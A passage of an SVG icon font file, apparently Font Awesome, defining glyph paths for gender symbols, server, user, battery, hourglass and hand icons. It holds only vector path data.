c-21.2002 4.80078 -40.5996 14.3008 -57.2002 27.3008c14 16.6992 25 36 32.1006 57.0996c14.5 -14.7998 34.6992 -24 57.0996 -24c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80c-22.2998 0 -42.5996 -9.2002 -57.0996 -24
c-7.10059 21.0996 -18 40.4004 -32.1006 57.0996c24.6006 19.3008 55.5 30.9004 89.2002 30.9004c79.5 0 144 -64.5 144 -144c0 -68.5 -47.9004 -125.9 -112 -140.4z" />
    <glyph glyph-name="mars-double" unicode="&#xf227;" 
d="M340 448c6.59961 0 12 -5.40039 12 -12v-79c0 -7.2002 -5.90039 -12 -12.0996 -12c-2.90039 0 -6 1.09961 -8.40039 3.5l-16.9004 16.9004l-48.6992 -48.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144
s64.5 144 144 144c28.2002 0 54.5 -8.09961 76.7002 -22.0996l48.7002 48.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 160c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80zM500 288.1
c6.59961 0 12 -5.39941 12 -12.0996v-79c0 -7.2002 -5.90039 -12 -12.0996 -12c-3 0 -6 1.09961 -8.40039 3.5l-16.9004 16.9004l-48.6992 -48.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144c-74.4004 0 -135.6 56.4004 -143.2 128.9
c21.7998 2 43.2998 8.19922 63.2998 18.3994c-0.0996094 -1 -0.0996094 -2.09961 -0.0996094 -3.2002c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80c0 44.1006 -35.9004 80 -80 80c-1 0 -2.09961 -0.0996094 -3.2002 -0.0996094
c10.2002 20 16.2998 41.5 18.4004 63.2998c22.5 -2.39941 43.2998 -9.89941 61.5 -21.2998l48.7002 48.7002l-16.9004 16.8994c-7.5 7.60059 -2.2002 20.5 8.5 20.5h79z" />
    <glyph glyph-name="venus-mars" unicode="&#xf228;" horiz-adv-x="576" 
d="M564 448c6.59961 0 12 -5.40039 12 -12v-79c0 -7.2002 -5.90039 -12 -12.0996 -12c-3 0 -6 1.09961 -8.40039 3.5l-16.9004 16.9004l-48.6992 -48.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144
c-33.7002 0 -64.7002 11.5 -89.2002 30.9004c14.1006 16.6992 25 36 32.1006 57.0996c14.5 -14.7998 34.7998 -24 57.0996 -24c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80c-22.4004 0 -42.5996 -9.2002 -57.0996 -24
c-7.10059 21.0996 -18.1006 40.4004 -32.1006 57.0996c24.6006 19.3008 55.5 30.9004 89.2002 30.9004c28.2002 0 54.5 -8.09961 76.7002 -22.0996l48.7002 48.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 384c79.5 0 144 -64.5 144 -144
c0 -68.5 -47.9004 -125.8 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12
h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144zM144 160c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="mars-stroke" unicode="&#xf229;" horiz-adv-x="384" 
d="M372 384c6.59961 0 12 -5.40039 12.0996 -12v-78.9004c0 -10.6992 -12.8994 -16.0996 -20.5 -8.5l-16.8994 16.9004l-17.5 -17.5l14.0996 -14.0996c4.7002 -4.7002 4.7002 -12.3008 0 -17l-28.2998 -28.3008c-4.7002 -4.69922 -12.2998 -4.69922 -17 0l-14.0996 14.1006
l-18 -18c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144s64.5 144 143.9 144c28.1992 0 54.5 -8.09961 76.6992 -22.0996l18 18l-14.0996 14.0996c-4.7002 4.7002 -4.7002 12.2998 0 17l28.2998 28.2002
c4.7002 4.7002 12.2998 4.7002 17 0l14.1006 -14.1006l17.5 17.5l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 64c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="mars-stroke-v" unicode="&#xf22a;" horiz-adv-x="288" 
d="M245.8 213.8c56.2998 -56.2002 56.2998 -147.399 0 -203.6c-56.2002 -56.2002 -147.399 -56.2002 -203.6 0s-56.2002 147.399 0 203.6c19.8994 19.9004 44.2002 32.7998 69.7998 38.6006v25.3994h-20c-6.59961 0 -12 5.40039 -12 12v40c0 6.60059 5.40039 12 12 12h20
v24.7002h-23.9004c-10.6992 0 -16.0996 12.9004 -8.5 20.5l55.9004 55.9004c4.7002 4.69922 12.2998 4.69922 17 0l55.9004 -55.8008c7.5 -7.59961 2.19922 -20.5 -8.5 -20.5h-23.9004v-24.7998h20c6.59961 0 12 -5.39941 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20
v-25.3994c25.5996 -5.80078 49.9004 -18.7002 69.7998 -38.6006zM200.6 55.4004c31.2002 31.1992 31.2002 82 0 113.1c-31.1992 31.2002 -81.8994 31.2002 -113.1 0s-31.2002 -81.9004 0 -113.1c31.2002 -31.2002 81.9004 -31.2002 113.1 0z" />
    <glyph glyph-name="mars-stroke-h" unicode="&#xf22b;" horiz-adv-x="480" 
d="M476.2 200.5c4.7002 -4.7002 4.7002 -12.2998 0.0996094 -17l-55.8994 -55.9004c-7.60059 -7.5 -20.5 -2.19922 -20.5 8.5v23.9004h-23.9004v-20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v20h-27.5996
c-5.80078 -25.5996 -18.7002 -49.9004 -38.6006 -69.7998c-56.2002 -56.2002 -147.399 -56.2002 -203.6 0s-56.2002 147.399 0 203.6s147.399 56.2002 203.6 0c19.9004 -19.8994 32.7998 -44.2002 38.6006 -69.7998h27.5996v20c0 6.59961 5.40039 12 12 12h40
c6.59961 0 12 -5.40039 12 -12v-20h23.7998v23.9004c0 10.6992 12.9004 16.0996 20.5 8.5zM200.6 135.4c31.2002 31.1992 31.2002 82 0 113.1c-31.1992 31.2002 -81.8994 31.2002 -113.1 0s-31.2002 -81.9004 0 -113.1c31.2002 -31.2002 81.9004 -31.2002 113.1 0z" />
    <glyph glyph-name="neuter" unicode="&#xf22c;" horiz-adv-x="288" 
d="M288 272c0 -68.5 -47.9004 -125.9 -112 -140.4v-151.6c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v151.6c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144s144 -64.5 144 -144zM144 192c44.0996 0 80 35.9004 80 80
s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="genderless" unicode="&#xf22d;" horiz-adv-x="288" 
d="M144 272c-44.0996 0 -80 -35.9004 -80 -80s35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80zM144 336c79.5 0 144 -64.5 144 -144s-64.5 -144 -144 -144s-144 64.5 -144 144s64.5 144 144 144z" />
    <glyph glyph-name="server" unicode="&#xf233;" 
d="M480 288h-448c-17.6729 0 -32 14.3271 -32 32v64c0 17.6729 14.3271 32 32 32h448c17.6729 0 32 -14.3271 32 -32v-64c0 -17.6729 -14.3271 -32 -32 -32zM432 376c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM368 376
c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM480 128h-448c-17.6729 0 -32 14.3271 -32 32v64c0 17.6729 14.3271 32 32 32h448c17.6729 0 32 -14.3271 32 -32v-64c0 -17.6729 -14.3271 -32 -32 -32zM432 216
c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM368 216c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM480 -32h-448c-17.6729 0 -32 14.3271 -32 32v64
c0 17.6729 14.3271 32 32 32h448c17.6729 0 32 -14.3271 32 -32v-64c0 -17.6729 -14.3271 -32 -32 -32zM432 56c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM368 56c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24
s24 10.7451 24 24s-10.7451 24 -24 24z" />
    <glyph glyph-name="user-plus" unicode="&#xf234;" horiz-adv-x="640" 
d="M624 240c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-64v-64c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v64h-64c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h64v64c0 8.7998 7.2002 16 16 16h32
c8.7998 0 16 -7.2002 16 -16v-64h64zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352
c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" />
    <glyph glyph-name="user-times" unicode="&#xf235;" horiz-adv-x="640" 
d="M589.6 208l45.6006 -45.5996c6.2998 -6.30078 6.2998 -16.5 0 -22.8008l-22.7998 -22.7998c-6.30078 -6.2998 -16.5 -6.2998 -22.8008 0l-45.5996 45.6006l-45.5996 -45.6006c-6.30078 -6.2998 -16.5 -6.2998 -22.8008 0l-22.7998 22.7998
c-6.2998 6.30078 -6.2998 16.5 0 22.8008l45.6006 45.5996l-45.6006 45.5996c-6.2998 6.30078 -6.2998 16.5 0 22.8008l22.7998 22.7998c6.30078 6.2998 16.5 6.2998 22.8008 0l45.5996 -45.6006l45.5996 45.6006c6.30078 6.2998 16.5 6.2998 22.8008 0l22.7998 -22.7998
c6.2998 -6.30078 6.2998 -16.5 0 -22.8008zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352
c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" />
    <glyph glyph-name="bed" unicode="&#xf236;" horiz-adv-x="640" 
d="M176 192c-44.1104 0 -80 35.8896 -80 80s35.8896 80 80 80s80 -35.8896 80 -80s-35.8896 -80 -80 -80zM528 320c61.8604 0 112 -50.1396 112 -112v-192c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v48h-512v-48c0 -8.83984 -7.16016 -16 -16 -16
h-32c-8.83984 0 -16 7.16016 -16 16v352c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-208h224v144c0 8.83984 7.16016 16 16 16h224z" />
    <glyph glyph-name="train" unicode="&#xf238;" horiz-adv-x="448" 
d="M448 352v-256c0 -51.8154 -61.624 -96 -130.022 -96l62.9805 -49.7207c5.94727 -4.69629 2.60352 -14.2793 -4.95801 -14.2793h-304c-7.57812 0 -10.8916 9.59375 -4.95703 14.2793l62.9795 49.7207c-68.2021 0 -130.022 44.0459 -130.022 96v256c0 53.0186 64 96 128 96
h192c65 0 128 -42.9814 128 -96zM400 216v112c0 13.2549 -10.7451 24 -24 24h-304c-13.2549 0 -24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24h304c13.2549 0 24 10.7451 24 24zM224 152c-30.9277 0 -56 -25.0723 -56 -56s25.0723 -56 56 -56s56 25.0723 56 56
s-25.0723 56 -56 56z" />
    <glyph glyph-name="subway" unicode="&#xf239;" horiz-adv-x="448" 
d="M448 352v-256c0 -51.8154 -61.624 -96 -130.022 -96l62.9805 -49.7207c5.94727 -4.69629 2.60352 -14.2793 -4.95801 -14.2793h-304c-7.57812 0 -10.8916 9.59375 -4.95703 14.2793l62.9795 49.7207c-68.2021 0 -130.022 44.0459 -130.022 96v256c0 53.0186 64 96 128 96
h192c65 0 128 -42.9814 128 -96zM200 216v112c0 13.2549 -10.7451 24 -24 24h-104c-13.2549 0 -24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24h104c13.2549 0 24 10.7451 24 24zM400 216v112c0 13.2549 -10.7451 24 -24 24h-104c-13.2549 0 -24 -10.7451 -24 -24
v-112c0 -13.2549 10.7451 -24 24 -24h104c13.2549 0 24 10.7451 24 24zM352 160c-26.5098 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48zM96 160c-26.5098 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48
s-21.4902 48 -48 48z" />
    <glyph glyph-name="battery-full" unicode="&#xf240;" horiz-adv-x="640" 
d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224
c0 26.5098 21.4902 48 48 48h512zM512 256v-128h-416v128h416z" />
    <glyph glyph-name="battery-three-quarters" unicode="&#xf241;" horiz-adv-x="640" 
d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224
c0 26.5098 21.4902 48 48 48h512zM416 256v-128h-320v128h320z" />
    <glyph glyph-name="battery-half" unicode="&#xf242;" horiz-adv-x="640" 
d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224
c0 26.5098 21.4902 48 48 48h512zM320 256v-128h-224v128h224z" />
    <glyph glyph-name="battery-quarter" unicode="&#xf243;" horiz-adv-x="640" 
d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224
c0 26.5098 21.4902 48 48 48h512zM224 256v-128h-128v128h128z" />
    <glyph glyph-name="battery-empty" unicode="&#xf244;" horiz-adv-x="640" 
d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224
c0 26.5098 21.4902 48 48 48h512z" />
    <glyph glyph-name="mouse-pointer" unicode="&#xf245;" horiz-adv-x="320" 
d="M302.189 118.874h-106.084l55.8301 -135.993c3.88965 -9.42773 -0.554688 -19.999 -9.44336 -23.999l-49.165 -21.4268c-9.16504 -4 -19.4434 0.571289 -23.332 9.71387l-53.0527 129.136l-86.6641 -89.1377c-11.5498 -11.877 -30.2783 -2.7207 -30.2783 12.8564v429.678
c0 16.3994 19.9209 24.3945 30.2773 12.8555l284.412 -292.542c11.4717 -11.1787 3.00684 -31.1406 -12.5 -31.1406z" />
    <glyph glyph-name="i-cursor" unicode="&#xf246;" horiz-adv-x="256" 
d="M256 395.952c0 -6.64648 -5.4043 -12.0098 -12.0498 -11.9922c-27.875 0.0712891 -83.9502 -3.20996 -83.9502 -48.1416v-111.818h36c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-36v-112c0 -44.9395 57.8887 -48.5527 83.8555 -48.2422
c6.68652 0.0800781 12.1445 -5.31055 12.1445 -11.998v-39.6445c0 -6.5957 -5.31836 -11.957 -11.9131 -12c-35.0654 -0.228516 -78.3525 0.62207 -116.087 37.8447c-38.4688 -37.9482 -83.6211 -38.3027 -116.158 -37.8936
c-6.56738 0.0820312 -11.8418 5.42969 -11.8418 11.999v39.9824c0 6.64648 5.4043 12.0098 12.0498 11.9932c27.875 -0.0722656 83.9502 3.02734 83.9502 47.959v112h-36c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h36v111.818
c0 44.9385 -57.8887 48.7344 -83.8555 48.4248c-6.68652 -0.0800781 -12.1445 5.31055 -12.1445 11.998v39.6445c0 6.5957 5.31836 11.957 11.9131 12c35.0654 0.228516 78.3525 -0.62207 116.087 -37.8447c38.4688 37.9482 83.6211 38.3027 116.158 37.8926
c6.56738 -0.0820312 11.8418 -5.42969 11.8418 -11.999v-39.9824z" />
    <glyph glyph-name="object-group" unicode="&#xf247;" 
d="M480 320v-288h20c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v20h-384v-20c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h20v320h-20
c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-20h384v20c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-20v-32zM96 172c0 -6.62695 5.37305 -12 12 -12h168
c6.62695 0 12 5.37305 12 12v136c0 6.62695 -5.37305 12 -12 12h-168c-6.62695 0 -12 -5.37305 -12 -12v-136zM416 76v136c0 6.62695 -5.37305 12 -12 12h-84v-72c0 -13.2549 -10.7451 -24 -24 -24h-72v-52c0 -6.62695 5.37305 -12 12 -12h168c6.62695 0 12 5.37305 12 12z
" />
    <glyph glyph-name="object-ungroup" unicode="&#xf248;" horiz-adv-x="576" 
d="M64 128v-26c0 -3.31152 -2.68848 -6 -6 -6h-52c-3.31152 0 -6 2.68848 -6 6v52c0 3.31152 2.68848 6 6 6h26v192h-26c-3.31152 0 -6 2.68848 -6 6v52c0 3.31152 2.68848 6 6 6h52c3.31152 0 6 -2.68848 6 -6v-26h288v26c0 3.31152 2.68848 6 6 6h52
c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-26v-192h26c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-52c-3.31152 0 -6 2.68848 -6 6v26h-288zM544 192v-160h26c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-52
c-3.31152 0 -6 2.68848 -6 6v26h-288v-26c0 -3.31152 -2.68848 -6 -6 -6h-52c-3.31152 0 -6 2.68848 -6 6v52c0 3.31152 2.68848 6 6 6h26v72h136v-8c0 -13.2549 10.7451 -24 24 -24h64c13.2549 0 24 10.7451 24 24v64c0 13.2549 -10.7451 24 -24 24h-8v72h104v26
c0 3.31152 2.68848 6 6 6h52c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-26v-32z" />
    <glyph glyph-name="sticky-note" unicode="&#xf249;" horiz-adv-x="448" 
d="M312 128c-13.2002 0 -24 -10.7998 -24 -24v-136h-264c-13.2998 0 -24 10.7002 -24 24v400c0 13.2998 10.7002 24 24 24h400c13.2998 0 24 -10.7002 24 -24v-264h-136zM441 73l-98 -98c-4.5 -4.5 -10.5996 -7 -17 -7h-6v128h128v-6.09961
c0 -6.30078 -2.5 -12.4004 -7 -16.9004z" />
    <glyph glyph-name="clone" unicode="&#xf24d;" 
d="M464 448c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h288zM176 32h208v-48c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v288
c0 26.5098 21.4902 48 48 48h48v-208c0 -44.1123 35.8877 -80 80 -80z" />
    <glyph glyph-name="balance-scale" unicode="&#xf24e;" horiz-adv-x="640" 
d="M256 112c0 -44.1797 -57.3096 -80 -128 -80s-128 35.8203 -128 80h0.0195312c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51h0.0195312zM128 272l-72 -144h144zM639.98 112
c0 -44.1797 -57.29 -80 -127.98 -80s-128 35.8203 -128 80h0.0195312c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51zM440 128h144l-72 144zM528 0c8.83984 0 16 -7.16016 16 -16v-32
c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h176v294.75c-23.5195 10.29 -41.1602 31.4902 -46.3896 57.25h-129.61c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h144.36
c14.5996 19.3203 37.5498 32 63.6396 32s49.04 -12.6797 63.6396 -32h144.36c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-129.61c-5.22949 -25.7695 -22.8799 -46.96 -46.3896 -57.25v-294.75h176z" />
    <glyph glyph-name="hourglass-start" unicode="&#xf251;" horiz-adv-x="384" 
d="M360 448c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336
c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336zM296 0c0 77.4834 -46.2139 144 -104 144
c-57.7959 0 -104 -66.542 -104 -144h208z" />
    <glyph glyph-name="hourglass-half" unicode="&#xf252;" horiz-adv-x="384" 
d="M360 448c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336
c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336zM284.922 64
c-17.0596 46.8037 -52.1006 80 -92.9219 80c-40.8242 0 -75.8613 -33.2031 -92.9199 -80h185.842zM284.941 320c7.07129 19.4131 11.0586 41.1953 11.0586 64h-208c0 -22.748 3.98828 -44.5479 11.0781 -64h185.863z" />
    <glyph glyph-name="hourglass-end" unicode="&#xf253;" horiz-adv-x="384" 
d="M360 384c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24
c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24zM192 240c57.4902 0 104 66.0547 104 144
h-208c0 -77.4824 46.2129 -144 104 -144z" />
    <glyph glyph-name="hourglass" unicode="&#xf254;" horiz-adv-x="384" 
d="M360 384c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24
c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24z" />
    <glyph glyph-name="hand-rock" unicode="&#xf255;" 
d="M464.8 368c26.2998 -0.400391 47.2002 -22.5 47.2002 -48.7998v-133.5c0 -12.7998 -2.5 -25.5 -7.5 -37.2998l-49 -116.301c-4.90039 -11.7998 -7.5 -24.5 -7.5 -37.2998v-2.89941c0 -13.3008 -10.7002 -24 -24 -24h-240c-13.2998 0 -24 10.6992 -24 24v6.69922
c0 13.7002 -5.90039 26.8008 -16.0996 35.9004l-111.7 99.2998c-20.5 18.2998 -32.2002 44.4004 -32.2002 71.7998v66.4004c0 26.7998 21.9004 48.4004 48.7998 48c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-48.1006l8 -7.09961v136
c0 26.7998 21.9004 48.4004 48.7998 48c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-31.2002h8v48c0 26.7998 21.9004 48.4004 48.7998 48c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-47.2002h8v32c0 26.7998 21.9004 48.4004 48.7998 48
c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-31.2002h8c0 26.7998 21.9004 48.4004 48.7998 48z" />
    <glyph glyph-name="hand-paper" unicode="&#xf256;" horiz-adv-x="448" 
d="M408.781 319.993c21.7305 -0.416016 39.2188 -18.1621 39.2178 -39.9932v-150.359c0 -12.2998 -2.28711 -32.001 -5.10449 -43.9746l-26.5078 -112.66c-5.10156 -21.6816 -24.4502 -37.0059 -46.7236 -37.0059h-197.59c-13.4922 0 -30.8838 8.85645 -38.8193 19.7676
l-125.601 172.705c-12.9932 17.8672 -9.04297 42.8838 8.82129 55.877c17.8682 12.9941 42.8848 9.04297 55.877 -8.82227l31.6484 -43.5195v235.992c0 21.8311 17.4883 39.5771 39.2188 39.9932c22.4248 0.428711 40.7812 -18.3535 40.7812 -40.7832v-175.21h8v216
c0 21.8311 17.4883 39.5771 39.2188 39.9932c22.4248 0.428711 40.7812 -18.3535 40.7812 -40.7832v-215.21h8v177c0 21.8311 17.4883 39.5771 39.2188 39.9932c22.4248 0.428711 40.7812 -18.3535 40.7812 -40.7832v-176.21h8v87.21
c0 22.4297 18.3564 41.2119 40.7812 40.7832z" />
    <glyph glyph-name="hand-scissors" unicode="&#xf257;" 
d="M216 8c0 22.0918 17.9092 40 40 40v8h-32c-22.0908 0 -40 17.9082 -40 40s17.9092 40 40 40h32v8h-208c-26.5098 0 -48 21.4902 -48 48s21.4902 48 48 48h208v13.5723l-177.551 69.7393c-24.6738 9.69434 -36.8184 37.5557 -27.125 62.2285
c9.69238 24.6738 37.5537 36.8174 62.2275 27.124l190.342 -74.7646l24.8721 31.0898c12.3066 15.3809 33.9785 19.5146 51.0811 9.74121l112 -64c11.125 -6.3584 20.1533 -21.917 20.1533 -34.7305v-240c0 -18.5615 -12.7695 -34.6855 -30.8379 -38.9365l-136 -32
c-2.49414 -0.586914 -6.59668 -1.06348 -9.1582 -1.06348h-0.00390625h-80c-22.0908 0 -40 17.9082 -40 40z" />
    <glyph glyph-name="hand-lizard" unicode="&#xf258;" horiz-adv-x="576" 
d="M384 -32v61.4609c0 7.28906 -4.99707 16.3711 -11.1543 20.2734l-111.748 70.8105c-6.49316 4.11523 -18.0029 7.45508 -25.6904 7.45508h-0.000976562h-147.406c-13.2549 0 -24 10.7451 -24 24v8c0 35.3457 28.6543 64 64 64h123.648
c11.7754 0 25.0088 8.82227 29.5371 19.6924l21.4102 51.3848c4.94141 11.8555 -3.77051 24.9229 -16.6143 24.9229h-229.981c-30.9277 0 -56 25.0723 -56 56v16c0 13.2549 10.7451 24 24 24h333.544c14.6035 0 32.7852 -10.0205 40.583 -22.3682l163.04 -258.146
c8.1875 -12.9639 14.833 -35.9297 14.833 -51.2627v-0.000976562v-116.222h-192z" />
    <glyph glyph-name="hand-spock" unicode="&#xf259;" 
